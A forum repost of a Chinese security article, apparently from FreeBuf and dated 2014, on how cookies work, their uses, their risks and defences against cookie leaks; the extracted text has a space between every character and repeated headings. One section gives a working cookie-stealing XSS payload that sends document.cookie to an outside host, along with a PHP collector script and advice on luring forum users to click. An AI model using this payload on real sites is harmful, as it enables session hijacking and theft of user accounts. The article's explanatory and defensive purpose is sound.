搜索

[8260] 2014-09-10_深入解析Cookie技术

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-17
2014-09-10_深入解析Cookie技术 深 入 解 析 C o o k i e 技 术 猫 友   F r e e B u f   2 0 1 4 - 0 9 - 1 0 0 × 0 0   引 言 引 言 在 在 W e b 技 术 的 发 展 史 上 ， 技 术 的 发 展 史 上 ， C o o k i e 技 术 的 出 现 是 一 次 重 大 的 技 术 的 出 现 是 一 次 重 大 的   变 革 。 但 是 ， 变 革 。 但 是 ，   C o o k i e 技 术 又 是 一 项 非 常 有 争 议 的 技 术 ， 从 技 术 又 是 一 项 非 常 有 争 议 的 技 术 ， 从 它 诞 生 之 日 起 就 成 了 广 大 网 络 用 户 和 它 诞 生 之 日 起 就 成 了 广 大 网 络 用 户 和 W e b 开 发 人 员 的 一 个 争 论 焦 点 ， 原 因 不 是 开 发 人 员 的 一 个 争 论 焦 点 ， 原 因 不 是 C o o k i e 的 功 能 太 弱 ， 而 是 认 为 的 功 能 太 弱 ， 而 是 认 为 C o o k i e 的 使 用 会 对 网 络 用 户 的 隐 私 信 息 构 成 危 害 。 的 使 用 会 对 网 络 用 户 的 隐 私 信 息 构 成 危 害 。 C o o k i e 技 术 最 先 被 N e t s c a p e 公 司 引 入 到 N a v i g a t o r 浏 览 器 中 。 之 后 ， W o r i d W i d e W e b 协 会 支 持 并 采 纳 了 C o o k i e 标 准 ， 微 软 也 在 I n t e r n e t E x p i o r e r 浏 览 器 中 使 用 了 C o o k i e 。 现 在 ， 绝 大 多 数 浏 览 器 都 支 持 C o o k i e ， 或 者 至 少 兼 容 C o o k i e 技 术 的 使 用 。 目 前 ， 几 乎 所 有 的 网 站 设 计 者 都 使 用 了 C o o k i e 技 术 。 C o o k i e 的 广 泛 使 用 导 致 了 人 们 对 个 人 信 息 安 全 的 担 忧 。 有 的 网 站 和 机 构 滥 用 C o o k i e ， 未 经 访 问 者 的 许 可 就 搜 集 他 人 的 个 人 资 料 ， 达 到 构 建 用 户 数 据 库 、 发 送 广 告 等 营 利 目 的 ， 造 成 用 户 隐 私 信 息 的 泄 露 。 有 鉴 于 此 ， 系 统 研 究 C o o k i e 的 技 术 特 性 及 其 存 在 的 安 全 问 题 ， 研 究 防 范 C o o k i e 泄 露 用 户 隐 私 信 息 的 措 施 ， 不 仅 能 使 个 人 信 息 的 安 全 得 到 保 障 ， 而 且 能 更 安 全 地 利 用 C o o k i e 技 术 服 务 于 互 联 网 应 用 。 0 × 0 1   C o o k i e 技 术 分 析 技 术 分 析   1 . 1   C o o k i e 定 义 及 其 功 能 定 义 及 其 功 能 按 照 N e t s c a p e 官 方 文 档 中 的 定 义 ， C o o k i e 是 指 在 H T T P 协 议 下 ， 服 务 器 或 脚 本 可 以 维 护 客 户 端 计 算 机 上 信 息 的 一 种 方 式   。 通 俗 地 说 ， C o o k i e 是 一 种 能 够 让 网 站 W e b 服 务 器 把 少 量 数 据 储 存 到 客 户 端 的 硬 盘 或 内 存 里 ， 或 是 从 客 户 端 的 硬 盘 里 读 取 数 据 的 一 种 技 术 。   C o o k i e 文 件 则 是 指 在 浏 览 某 个 网 站 时 ， 由 W e b 服 务 器 的 C G I 脚 本 创 建 的 存 储 在 浏 览 器 客 户 端 计 算 机 上 的 一 个 小 文 本 文 件 ， 其 格 式 为 ： 用 户 名 @ 网 站 地 址   ［ 数 字 ］ . t x t 。 C o o k i e 文 件 记 录 了 用 户 的 有 关 信 息 ， 如 身 份 识 别 号 码 I D 、 密 码 、 浏 览 过 的 网 页 、 停 留 的 时 间 、 用 户 在 W e b 站 点 购 物 的 方 式 或 用 户 访 问 该 站 点 的 次 数 等 ， 当 用 户 再 次 链 接 W e b 服 务 器 时 ， 浏 览 器 读 取 C o o k i e 信 息 并 传 递 给 W e b 站 点 。 C o o k i e 文 件 信 息 片 断 以 “ 名 / 值 ” 对 （ n a m e - v a i u e p a i r s ） 的 形 式 储 存 ， 一 个 “ 名 / 值 ” 对 仅 仅 是 一 条 命 名 的 数 据 。 例 如 ， 访 问 w w w . g o t o . c o m 网 站 ， 则 该 站 点 可 能 会 在 客 户 端 电 脑 上 产 生 一 个 包 含 以 下 内 容 的 C o o k i e 文 件 ： U s e r I D A 9 A 3 B E C E 0 5 6 3 9 8 2 D w w w . g o t o . c o m / 。 g o t o . c o m 在 电 脑 上 存 入 了 一 个 单 一 的 “ 名 / 值 ” 对 ， 其 中 的 “ 名 ” 是 U s e r I D ， “ 值 ” 是 A 9 A 3 B E C E 0 5 6 3 9 8 2 D 。 C o o k i e 文 件 的 存 放 位 置 与 操 作 系 统 和 浏 览 器 密 切 相 关 ， 这 些 文 件 在 W i n d o w s 机 器 里 叫 做 C o o k i e 文 件 ， 在 M a c i n t o s h 机 器 里 叫 做 M a g i c C o o k i e 文 件 。 对 W i n d o w s 和 I E 浏 览 器 而 言 ， C o o k i e s 文 件 的 存 放 位 置 为 ： W i n 9 X 操 作 系 统 ： C ： W i n d o w s C o o k i e s ； W i n m e 操 作 系 统 ： C ： W i n d o w s p r o f i i e s 用 户 名 C o o k i e s ； W i n 2 K 操 作 系 统 ： C ： W i n d o w s C o o k i e s ； W i n X P 操 作 系 统 ： C ： D o c u m e n t s a n d S e t - t i n g s 用 户 名 C o o k i e s 。 W i n 7 以 上 操 作 系 统 ： C : U s e r s 用 户 名 A p p D a t a R o a m i n g M i c r o s o f t W i n d o w s C o o k i e s C o o k i e 的 主 要 功 能 是 实 现 用 户 个 人 信 息 的 记 录 ， 它 最 根 本 的 用 途 是 帮 助 W e b 站 点 保 存 有 关 访 问 者 的 信 息 。 更 概 括 地 说 ， C o o k i e 是 一 种 保 持 W e b 应 用 程 序 连 续 性 （ 即 执 行 状 态 管 理 ） 的 方 法 。
H T T P 协 议 是 一 种 无 状 态 、 无 连 接 的 协 议 ， 不 能 在 服 务 器 上 保 持 一 次 会 话 的 连 续 状 态 信 息 。 随 着 W W W 的 不 断 发 展 ， H T T P 的 无 状 态 性 不 能 满 足 某 些 应 用 的 需 求 ， 给 W e b 服 务 器 和 客 户 端 的 操 作 带 来 种 种 不 便 。 在 此 背 景 下 ， 提 出 H T T P 的 状 态 管 理 机 制 — — — C o o k i e 机 制 ， 它 是 对 H T T P 协 议 的 一 种 补 充 ， 以 保 持 服 务 器 和 客 户 端 的 连 续 状 态 。 1 . 2   C o o k i e 基 本 工 作 原 理 基 本 工 作 原 理 C o o k i e 使 用 H T T P H e a d e r 传 递 数 据 。 C o o k i e 机 制 定 义 了 两 种 报 头 ： S e t - C o o k i e 报 头 和 C o o k i e 报 头 。 S e t - C o o k i e 报 头 包 含 于 W e b 服 务 器 的 响 应 头 （ R e s p o n s e H e a d e r ） 中 ， C o o k i e 报 头 包 含 在 浏 览 器 客 户 端 请 求 头 （ R e g u e s t H e a d e r ） 中 。 C o o k i e 的 运 行 过 程 如 图 所 示 ， 具 体 分 析 如 下 C o o k i e 的 运 行 过 程 图 （ 1 ） 客 户 端 在 浏 览 器 的 地 址 栏 中 键 入 W e b 服 务 器 的 U R L ， 浏 览 器 发 送 读 取 网 页 的 请 求 。 （ 2 ） 服 务 器 接 收 到 请 求 后 ， 产 生 一 个 S e t - C o o k i e 报 头 ， 放 在 H T T P 报 文 中 一 起 回 传 客 户 端 ， 发 起 一 次 会 话 。 （ 3 ） 客 户 端 收 到 应 答 后 ， 若 要 继 续 该 次 会 话 ， 则 将 S e t - C o o k - i e 中 的 内 容 取 出 ， 形 成 一 个 C o o k i e . t x t 文 件 储 存 在 客 户 端 计 算 机 里 。 （ 4 ） 当 客 户 端 再 次 向 服 务 器 发 出 请 求 时 ， 浏 览 器 先 在 电 脑 里 寻 找 对 应 该 网 站 的 C o o k i e . t x t 文 件 。 如 果 找 到 ， 则 根 据 此 C o o k i e . t x t 产 生 C o o k i e 报 头 ， 放 在 H T T P 请 求 报 文 中 发 给 服 务 器 。 （ 5 ） 服 务 器 接 收 到 包 含 C o o k i e 报 头 的 请 求 ， 检 索 其 C o o k i e 中 与 用 户 有 关 的 信 息 ， 生 成 一 个 客 户 端 所 请 示 的 页 面 应 答 传 递 给 客 户 端 。   浏 览 器 的 每 一 次 网 页 请 求 ， 都 可 以 传 递 已 存 在 的 C o o k i e 文 件 ， 例 如 ， 浏 览 器 的 打 开 或 刷 新 网 页 操 作 。 0 × 0 2   C o o k i e 应 用 应 用 （ 1 ） 实 现 W e b 中 的 用 户 认 证 H T T P 协 议 一 个 很 大 的 缺 点 就 是 不 作 用 户 身 份 的 判 断 ， 这   给 编 程 人 员 带 来 很 大 的 不 便 ， 而 C o o k i e 弥 补 了 这 个 缺 陷 。 大 多 数 站 点 在 进 行 用 户 身 份 认 证 时 都 采 用 C o o k i e 机 制 ， 使 用 户 在 通 过 第 一 次 身 份 认 证 以 后 ， 无 需 再 多 次 输 入 其 用 户 帐 号 、 口 令 密 码 等 ， 这 样 能 省 去 用 户 登 录 的 繁 琐 。 （ 2 ） 定 制 个 性 化 空 间 C o o k i e 技 术 方 便 W e b 站 点 为 不 同 用 户 订 制 信 息 ， 给 用 户 提 供 个 性 化 、 更 友 好 的 浏 览 环 境 ， 并 能 更 加 准 确 地 收 集 访 问 者 的 信 息 。 例 如 ， 为 用 户 提 供 改 变 网 页 内 容 、 布 局 和 颜 色 的 权 力 ， 允 许 用 户 输 入 自 己 的 信 息 ， 然 后 通 过 这 些 信 息 对 网 站 的 一 些 参 数 进 行 修 改 ， 以 订 制 网 页 的 外 观 。 另 外 ， 由 于 费 用 、 带 宽 限 制 等 原 因 ， 用 户 访 问 一 个 站 点 时 并 不 希 望 浏 览 网 页 所 有 的 内 容 。 利 用 C o o k i e 技 术 根 据 个 人 喜 好 设 定 栏 目 ， 动 态 地 产 生 用 户 所 需 要 的 内 容 ， 这 样 能 够 迎 合 不 同 层 次 用 户 的 访 问 兴 趣 ， 减 少 用 户 项 目 选 择 的 次 数 ， 更 加 合 理 地 利 用 W e b 服 务 器 的 传 输 带 宽 。   （ 3 ） 网 站 访 问 统 计 由 于 代 理 服 务 器 、 缓 存 等 的 使 用 ， 使 得 能 帮 助 网 站 精 确 统 计 来 访 人 数 的 方 法 只 能 是 为 每 个 访 问 者 建 立 一 个 唯 一 的 I D 。 使 用 C o o k i e ， 网 站 可 以 完 成 以 下 工 作 ： 测 定 多 少 人 访 问 过 ； 测 定 访 问 者 中 有 多 少 是 新 用 户 、 多 少 是 老 用 户 ； 测 定 一 个 用 户 多 久 访 问 一 次 网 站 。
基 本 方 法 是 ： 借 助 于 后 台 数 据 库 ， 在 用 户 第 一 次 访 问 该 网 站 时 ， 网 站 在 数 据 库 中 建 立 一 个 新 的 I D ， 并 把 I D 通 过 C o o k i e 传 送 给 用 户 。 用 户 再 次 来 访 时 ， 网 站 把 该 用 户 I D 对 应 的 计 数 器 加 1 ， 得 到 用 户 的 来 访 次 数 或 判 断 用 户 是 新 用 户 还 是 老 用 户 。 下 面 设 计 一 段 用 A S P 编 写 的 利 用 C o o k i e 计 数 的 程 序 ， 它 具 有 对 用 户 访 问 该 页 面 进 行 计 数 的 功 能 ： < % @ L A N G U A G E = J S c r i p t % > < % V a r c o u n t = " " ；   c o u n t = R e g u e s t . C o o k i e s （ " c o u n t n u m b e r " ） ； c o u n t = （ p a r s e I n t （ c o u n t ， l 0 ） + l ） . t o S t r i n g （ ） ； R e s p o n s e . C o o k i e s （ " c o u n t n u m b e r " ） = c o u n t ； % > （ 4 ） 维 护 在 线 电 子 商 务 客 户 信 息 在 线 订 购 商 务 中 使 用 C o o k i e 技 术 ， 可 记 载 用 户 想 购 买 的 物 品 。 用 户 往 “ 购 物 车 ” 里 投 放 商 品 ， 网 站 便 在 数 据 库 中 用 户 的 I D 记 录 里 记 录 下 来 。 当 用 户 “ 买 单 ” 时 ， 网 站 通 过 I D 检 索 数 据 库 中 用 户 的 所 有 选 择 就 知 道 “ 购 物 车 ” 里 的 物 品 项 目 。 C o o k i e 能 简 化 订 购 中 的 操 作 ， 使 网 上 购 物 更 接 近 现 实 生 活 。 （ 5 ） 记 录 站 点 轨 迹 再 次 访 问 同 一 网 站 时 C o o k i e 具 有 被 读 回 的 特 性 。 利 用 这 一 特 性 来 实 现 很 多 的 设 计 功 能 ， 如 显 示 用 户 访 问 该 网 页 的 次 数 ； 显 示 用 户 上 一 次 的 访 问 时 间 ； 记 录 用 户 以 前 在 本 页 中 所 做 的 选 择 等 ， 这 可 以 免 去 研 究 复 杂 的 C G I 编 程 。 0 × 0 3   C o o k i e 的 安 全 性 问 题 的 安 全 性 问 题 C o o k i e 的 目 的 是 为 用 户 带 来 方 便 ， 为 网 站 带 来 增 值 ， 一 般 情 况 下 不 会 造 成 严 重 的 安 全 威 胁 。 C o o k i e 文 件 不 能 作 为 代 码 执 行 ， 也 不 会 传 送 病 毒 ， 它 为 用 户 所 专 有 并 只 能 由 创 建 它 的 服 务 器 来 读 取 。 另 外 ， 浏 览 器 一 般 只 允 许 存 放 3 0 0 个 C o o k i e ， 每 个 站 点 最 多 存 放 2 0 个 C o o k i e ， 每 个 C o o k i e 的 大 小 限 制 为 4 K B ， 因 此 ， C o o k i e 不 会 塞 满 硬 盘 ， 更 不 会 被 用 作 “ 拒 绝 服 务 ” 攻 击 手 段 。 但 是 ， C o o k i e 作 为 用 户 身 份 的 替 代 ， 其 安 全 性 有 时 决 定 了 整 个 系 统 的 安 全 性 ， C o o k i e 的 安 全 性 问 题 不 容 忽 视 。 （ 1 ） C o o k i e 欺 骗   C o o k i e 记 录 了 用 户 的 帐 户 I D 、 密 码 之 类 的 信 息 ， 通 常 使 用 M D 5 方 法 加 密 后 在 网 上 传 递 。 经 过 加 密 处 理 后 的 信 息 即 使 被 网 络 上 一 些 别 有 用 心 的 人 截 获 也 看 不 懂 。 然 而 ， 现 在 存 在 的 问 题 是 ， 截 获 C o o k i e 的 人 不 需 要 知 道 这 些 字 符 串 的 含 义 ， 只 要 把 别 人 的 C o o k i e 向 服 务 器 提 交 ， 并 且 能 够 通 过 验 证 ， 就 可 以 冒 充 受 害 人 的 身 份 登 陆 网 站 ， 这 种 行 为 叫 做 C o o k i e 欺 骗 。 非 法 用 户 通 过 C o o k i e 欺 骗 获 得 相 应 的 加 密 密 钥 ， 从 而 访 问 合 法 用 户 的 所 有 个 性 化 信 息 ， 包 括 用 户 的 E - m a i l 甚 至 帐 户 信 息 ， 对 个 人 信 息 造 成 严 重 危 害 。 （ 2 ） C o o k i e 截 获 C o o k i e 以 纯 文 本 的 形 式 在 浏 览 器 和 服 务 器 之 间 传 送 ， 很 容 易 被 他 人 非 法 截 获 和 利 用 。 任 何 可 以 截 获 W e b 通 信 的 人 都 可 以 读 取 C o o k i e 。 C o o k i e 被 非 法 用 户 截 获 后 ， 然 后 在 其 有 效 期 内 重 放 ， 则 此 非 法 用 户 将 享 有 合 法 用 户 的 权 益 。 例 如 ， 对 于 在 线 阅 读 ， 非 法 用 户 可 以 不 支 付 费 用 即 可 享 受 在 线 阅 读 电 子 杂 志 。 C o o k i e 截 获 的 手 段 有 以 下 一 些 。 截 获 的 手 段 有 以 下 一 些 。 （ 1 ） 用 编 程 手 段 截 获 C o o k i e 。 下 面 分 析 其 手 法 ， 该 方 法 分 两 步 完 成 。   步 骤 一 ： 定 位 需 要 收 集 C o o k i e 的 网 站 ， 对 其 进 行 分 析 并 构 造 U R L 。   首 先 打 开 要 收 集 C o o k i e 的 网 站 ， 这 里 假 设 是 h t t p ： / / w w w . X X X . n e t ， 登 陆 网 站 输 入 用 户 名 “ < A l > ” （ 不 含 引 号 ） ，
对 数 据 进 行 分 析 抓 包 ， 得 到 如 下 代 码 ： h t t p ： / / w w w . X X X . n e t / t X l / l o g i n / l o g i n . p l ？ u s e r n a m e = < A l > & p a s s w d = & o k . X = 2 8 & o k . y = 6 ； 将 其 中 “ < A l > ” 更 换 为 ： “ < s c r i p t > a l e r t （ d o c u m e n t . c o o k i e ） < / s c r i p t > ” 再 试 ， 如 果 执 行 成 功 ， 就 开 始 构 造 U R L ： h t t p ： / / w w w . X X X . n e t / t X l / l o g i n / l o g i n . p l ？ u s e r n a m e = < s c r i p t > w i n d o w . o p e n   （ “ h t t p ： / / w w w . c b i f a m i l y . o r g / c b i . p h p ？ ” % 2 b d o c u m e n t . c o o k i e ） < / s c r i p t > & p a s s w d = & o k . X = 2 8 & o k . y = 6 . 其 中 h t t p ： / / w w w . c b i f a m i l y . o r g / c b i . p h p 是 用 户 能 够 控 制 的 某 台 主 机 上 的 一 个 脚 本 。 需 要 注 意 的 是 “ % 2 b ” 为 符 号 “ + ” 的 U R L 编 码 ， 因 为 “ + ” 将 被 作 为 空 格 处 理 。 该 U R L 即 可 在 论 坛 中 发 布 ， 诱 使 别 人 点 击 。 步 骤 二 ： 编 制 收 集 C o o k i e 的 P H P 脚 本 ， 并 将 其 放 到 用 户 可 以 控 制 的 网 站 上 ， 当 不 知 情 者 点 击 了 构 造 的 U R L 后 可 以 执 行 该 P H P 代 码 。 该 脚 本 的 具 体 内 容 如 下 ： < ? p h p   $ i n f o = g e t e n v （ " O U E R Y _ S T R I N G " ） ;   i f （ $ i n f o ） ｛     $ f p = f o p e n （ " i n f o . t X t " ， " a " ） ;     f w r i t e （ $ f p ， ! i n f o . " n " ） ;   f c l o s e （ $ f p ） ; ｝   h e a d e r （ " L o c a t i o n : h t t p : / / w w w . X X X . n e t " ） ; ? > 将 这 段 代 码 放 到 网 络 里 ， 则 能 够 收 集 所 有 人 的 C o o k i e 。 如 果 一 个 论 坛 允 许 H T M L 代 码 或 者 允 许 使 用 F l a s h 标 签 ， 就 可 以 利 用 这 些 技 术 收 集 C o o k i e 的 代 码 放 到 论 坛 里 ， 然 后 给 帖 子 取 一 个 吸 引 人 的 主 题 ， 写 上 有 趣 的 内 容 ， 很 快 就 可 收 集 到 大 量 的 C o o k i e 。 在 论 坛 上 ， 有 许 多 人 的 密 码 就 是 被 这 种 方 法 盗 走 的 。 （ 2 ） 利 用 F l a s h 的 代 码 隐 患 截 获 C o o k i e 。 F l a s h 中 有 一 个 g e t U R L （ ） 函 数 。 F l a s h 可 以 利 用 这 个 函 数 自 动 打 开 指 定 的 网 页 ， 它 可 能 把 用 户 引 向 一 个 包 含 恶 意 代 码 的 网 站 。 例 如 ， 当 用 户 在 电 脑 上 欣 赏 F l a s h 动 画 时 ， 动 画 帧 里 的 代 码 可 能 已 经 悄 悄 地 连 上 网 ， 并 打 开 了 一 个 极 小 的 包 含 有 特 殊 代 码 的 页 面 ， 这 个 页 面 可 以 收 集 C o o k i e 、 也 可 以 做 一 些 其 他 有 害 的 事 情 。 网 站 无 法 禁 止 F l a s h 的 这 种 作 为 ， 因 为 这 是 F l a s h 文 件 的 内 部 功 能 。 （ 3 ） C o o k i e 泄 漏 网 络 隐 私 C o o k i e 导 致 网 络 隐 私 泄 密 的 主 要 原 因 是 ： ! 商 业 利 益 驱 动 。 随 着 电 子 商 务 的 兴 起 和 互 联 网 上 巨 大 商 机 的 出 现 ， 一 些 网 站 和 机 构 滥 用 C o o k i e ， 未 经 访 问 者 的 许 可 ， 利 用 搜 索 引 擎 技 术 、 数 据 挖 掘 技 术 甚 至 是 网 络 欺 骗 技 术 搜 集 他 人 的 个 人 资 料 ， 达 到 构 建 用 户 数 据 库 、 发 送 广 告 等 营 利 目 的 ， 造 成 用 户 个 人 隐 私 的 泄 漏 。 " C o o k i e 信 息 传 递 的 开 放 性 。 C o o k i e 文 件 具 有 特 殊 的 传 递 流 程   和 文 本 特 性 ， 在 服 务 器 和 客 户 端 之 间 传 送 未 经 安 全 加 密 的 C o o k - i e 文 件 ， 易 导 致 个 人 信 息 的 泄 密 。 0 × 0 4   防 范 防 范 C o o k i e 泄 密 的 安 全 措 施 泄 密 的 安 全 措 施 面 对 C o o k i e 的 安 全 问 题 ， 如 何 才 能 安 全 地 应 用 C o o k i e 呢 ？ （ （ 1 ） 加 强 安 全 防 范 意 识 ） 加 强 安 全 防 范 意 识 C o o k i e 相 对 来 说 是 无 害 的 ， 但 它 能 用 于 跟 踪 用 户 ， 使 用 C o o k i e 必 须 意 识 到 其 固 有 的 安 全 弱 点 。 保 存 在 C o o k i e 中 的 内 容 ， 完 全 有 可 能 是 用 户 的 私 人 数 据 。 例 如 ， 网 站 为 了 方 便 用 户 ， 利 用 C o o k i e 来 保 存 会 员 的 注 册 信 息 ：
电 子 邮 件 地 址 、 网 站 的 用 户 名 、 用 户 密 码 、 信 用 卡 号 码 等 ， 以 便 用 户 以 后 登 录 该 网 站 时 不 用 重 新 输 入 这 些 数 据 。 如 果 有 人 盗 取 了 这 样 的 C o o k i e 文 件 ， 他 就 可 以 冒 充 登 录 网 站 ， 这 将 对 用 户 的 个 人 信 息 安 全 构 成 不 可 预 测 的 威 胁 。 因 此 ， 只 在 C o o k i e 中 保 存 一 些 不 重 要 的 数 据 ， 如 用 户 首 选 项 或 其 它 对 应 用 程 序 没 有 重 大 影 响 的 信 息 。 如 果 确 实 需 要 在 C o o k - i e 中 保 存 某 些 敏 感 信 息 ， 就 要 对 其 加 密 ， 以 防 被 他 人 盗 用 。 可 以 对 C o o k i e 的 属 性 进 行 设 置 ，   使 其 只 能 在 使 用 安 全 套 接 字 层 （ S S L ） 的 连 接 上 传 输 。 S S L 并 不 能 防 止 保 存 在 用 户 计 算 机 上 的 C o o k i e 被 他 人 读 取 或 操 作 ， 但 能 防 止 C o o k i e 在 传 输 途 中 被 他 人 截 获 。 （ （ 2 ） 配 置 安 全 的 浏 览 ） 配 置 安 全 的 浏 览 a 器 器 I E 和 N e t s c a p e 浏 览 器 的 工 具 栏 里 ， 都 有 禁 止 C o o k i e 的 设 置 选 项 ， 都 可 以 设 置 当 某 个 站 点 要 在 用 户 的 计 算 机 上 创 建 C o o k i e 时 ， 是 否 给 出 提 示 。 这 样 用 户 就 可 以 选 择 允 许 或 拒 绝 创 建 C o o k - i e 。 需 要 注 意 的 是 ， 某 些 网 站 的 应 用 必 须 使 用 C o o k i e ， 简 单 地 禁 止 可 能 导 致 无 法 正 常 浏 览 此 类 网 站 。 使 用 I E 6 会 更 安 全 。 最 新 的 I E 6 提 供 了 多 种 隐 私 保 护 功 能 ， 包 括 ： 查 看 网 站 的 P 3 P 隐 私 策 略 ， 以 了 解 该 网 站 如 何 使 用 个 人 可 识 别 信 息 ； 通 过 C o o k i e 隐 私 设 置 决 定 是 否 允 许 将 网 站 的 C o o k i e 保 存 在 计 算 机 上 ； 在 访 问 不 符 合 隐 私 设 置 条 件 的 站 点 时 发 出 隐 私 警 报 。 用 户 可 以 有 选 择 性 地 设 置 C o o k i e 。 （ （ 3 ） 安 装 ） 安 装 C o o k i e 管 理 工 具 管 理 工 具 ① C o o k i e C r u s h e r 。 L i m i t S o f t w a r e 公 司 的 C r u s h e r 适 用 于 N e t s c a p e 用 户 ， 其 功 能 有 ： 管 理 计 算 机 上 已 有 的 C o o k i e 、 设 置 禁 止 或 允 许 创 建 C o o k i e 的 网 站 列 表 、 在 创 建 新 C o o k i e 与 修 改 已 经 存 在 的 C o o k i e 时 发 出 警 告 、 禁 止 第 三 方 网 站 C o o k i e 、 实 时 控 制 接 受 或 拒 绝 来 自 站 点 的 C o o k i e 、 记 录 C o o k i e 活 动 日 志 、 编 辑 C o o k i e 等 ， 并 且 在 网 上 浏 览 时 ， 程 序 独 创 的 分 析 功 能 可 以 自 动 确 定 网 站 要 求 创 建 的 C o o k i e 的 目 的 ， 如 ： 判 断 网 站 是 把 C o o k i e 用 于 存 储 用 户 输 入 的 资 料 还 是 准 备 利 用 C o o k i e 跟 踪 用 户 的 浏 览 习 惯 等 。 ② C o o k i e P a I 。 除 了 浏 览 器 能 使 用 C o o k i e ，   其 它 的 互 联 网 软 件 也 可 能 使 用 ， 如 邮 件 程 序 等 。 为 了 维 护 网 络 隐 私 的 安 全 ， 同 时 又 能 保 证 一 些 互 联 网 软 件 正 确 地 使 用 C o o k i e 文 件 ， 可 以 安 装 K o o k a - b u r r a S o f t w a r e 公 司 的 支 持 多 种 软 件 的 C o o k i e 管 理 工 具 C o o k i e P a I 。 它 专 门 用 于 C o o k i e 管 理 ， 支 持 用 户 查 看 、 删 除 、 编 辑 已 经 存 在 的 C o o k i e ， 自 动 地 实 时 控 制 是 否 接 受 C o o k i e ， 根 据 过 期 时 间 过 滤 C o o k i e ， 它 还 能 够 记 录 C o o k i e 的 活 动 ， 编 辑 拒 绝 或 允 许 C o o k i e 的 网 站 列 表 。 （ （ 4 ） 删 除 内 存 中 的 ） 删 除 内 存 中 的 C o o k i e s C o o k i e 的 信 息 并 不 都 是 以 文 件 形 式 存 放 在 硬 盘 中 ， 还 有 部 分 信 息 保 存 在 内 存 里 。 这 类 C o o k i e 通 常 是 用 户 在 访 问 某 些 特 殊 网 站 时 ， 由 系 统 自 动 在 内 存 中 生 成 的 。 一 旦 访 问 者 离 开 该 网 站 ， 系 统 又 自 动 将 C o o k i e 从 内 存 中 删 除 。 对 此 ， 需 要 借 助 注 册 表 编 辑 器 来 修 改 系 统 设 置 ， 运 行 R e g e d i t ， 找 到 如 下 键 值 ： H K E Y _ L O C A L _ M A C H I N E S o f t w a r e M i c r o s o f t W i n d o w s C u r - r e n t v e r s i o n I n t e r n e t S e t t i n g s C a c h e S p e c i a I P a t h s C o o k i e s ， 这 是 C o o k i e s 在 内 存 中 的 键 值 ， 把 这 个 键 值 删 除 。 右 键 单 击 “ C o o k - i e s ” ， 再 单 击 快 捷 菜 单 中 的 “ 删 除 ” 命 令 确 认 删 除 。 （ （ 5 ） 使 用 ） 使 用 A A S 技 术 技 术 2 0 0 2 年 ， 美 国 I n g r i a n N e t w o r k s 公 司 发 表 了 可 以 使 W e b 站 点   免 受 “ C o o k i e P o i s o n i n g （ C o o k i e 篡 改 ） ” 攻 击 的 平 台 “ A c t i v e A p p I i - c a t i o n S e c u r i t y （ A A S ） ” 。 A A S 平 台 能 对 C o o k i e 内 部 的 重 要 信 息 进 行 加 密 处 理 ， 并 附 上 电 子 签 名 。 W e b 服 务 器 每 次 和 客 户 端 进 行 通 信 时 ， 将 利 用 电 子 签 名 对 C o o k i e 的 内 容 进 行 确 认 。 如 果 恶 意 用 户 删 除 了 电 子 签 名 或 者 更 改 了 信 息 内 容 ， 将 会 使 电 子 签 名 和 C o o k i e 的 内 容 无 法 再 匹 配 。 这 时 ， A A S 便 会 阻 止 这 条 C o o k i e 并 拒 绝 向 W e b 站 点 返 回 信 息 。 另 外 ， 该 平 台 还 对 C o o k i e 内 容 进 行 了 3 D E S 加 密 ， 解 密 需 要 口 令 ， 通 过 这 种 方 法 安 全 地 保 存 C o o k i e 。 W W W 服 务 器 和 客 户 端 之 间 的 通 信 还 全 部 利 用 了 S S L 连 接 方 式 ， 以 确 保 通 信 路 由 的 安 全 。 通 过 综 合 运 用 电 子 签 名 、 加 密 、 S S L 连 接 等 技 术 组 成 强 效 的 安 全 方 案 ， 可 以 排 除 通 信 路 由 及 数 据 存 储 两 方 面 存 在 的 脆 弱 性 ， 杜 绝 对 C o o k i e 的 篡 改 。 0 × 0 5   结 束 语 结 束 语 C o o k i e 是 W e b 服 务 器 发 送 的 存 储 在 客 户 端 系 统 中 以 备 未 来 查 询 的 少 量 信 息 。 C o o k i e 的 主 要 目 的 是 保 存 信 息 ， 主 要 用 途 是 存 储 用 户 的 标 志 和 密 码 ， 另 外 还 可 以 存 储 用 户 所 有 可 能 设 置 的 偏 好 。 从 编 程 的 角 度 来 看 ， C o o k i e 可 用 于 解 决 状 态 管 理 问 题 。
事 实 上 ， 信 息 若 不 与 个 人 信 息 相 联 系 ， C o o k i e 相 对 来 说 是 无 害 的 。 然 而 ， C o o k i e 能 用 于 跟 踪 用 户 ， 存 在 C o o k i e 欺 骗 、 泄 露 隐 私 等 安 全 性 问 题 ， 会 对 网 络 用 户 的 信 息 安 全 构 成 威 胁 。 加 强 防 范 意 识 ， 了 解 C o o k i e 固 有 的 安 全 弱 点 ； 配 置 安 全 的 浏 览 器 ； 使 用 C o o k i e 管 理 工 具 ； 利 用 电 子 签 名 、 加 密 、 S S L 连 接 等 技 术 对 C o o k i e 数 据 进 行 加 密 处 理 传 输 ， 这 些 措 施 能 有 效 地 防 止 C o o k i e 泄 露 用 户 隐 私 ， 保 障 个 人 信 息 安 全 ， 从 而 使 C o o k i e 能 够 更 安 全 地 服 务 于 W e b 应 用 。 尽 管 C o o k i e 技 术 存 在 争 议 ， 但 它 不 会 消 亡 ， 需 要 研 究 更 好 的 安 全 技 术 对 其 完 善 和 发 展 。 C o o k i e 技 术 未 来 将 拥 有 更 大 的 生 存 和 发 展 空 间 。 此 为 知 识 堂 系 列 （ 此 为 知 识 堂 系 列 （ A u t h o r   @ 猫 友 ） 第 一 篇 ， 敬 请 关 注 后 续 篇 章 。 猫 友 ） 第 一 篇 ， 敬 请 关 注 后 续 篇 章 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理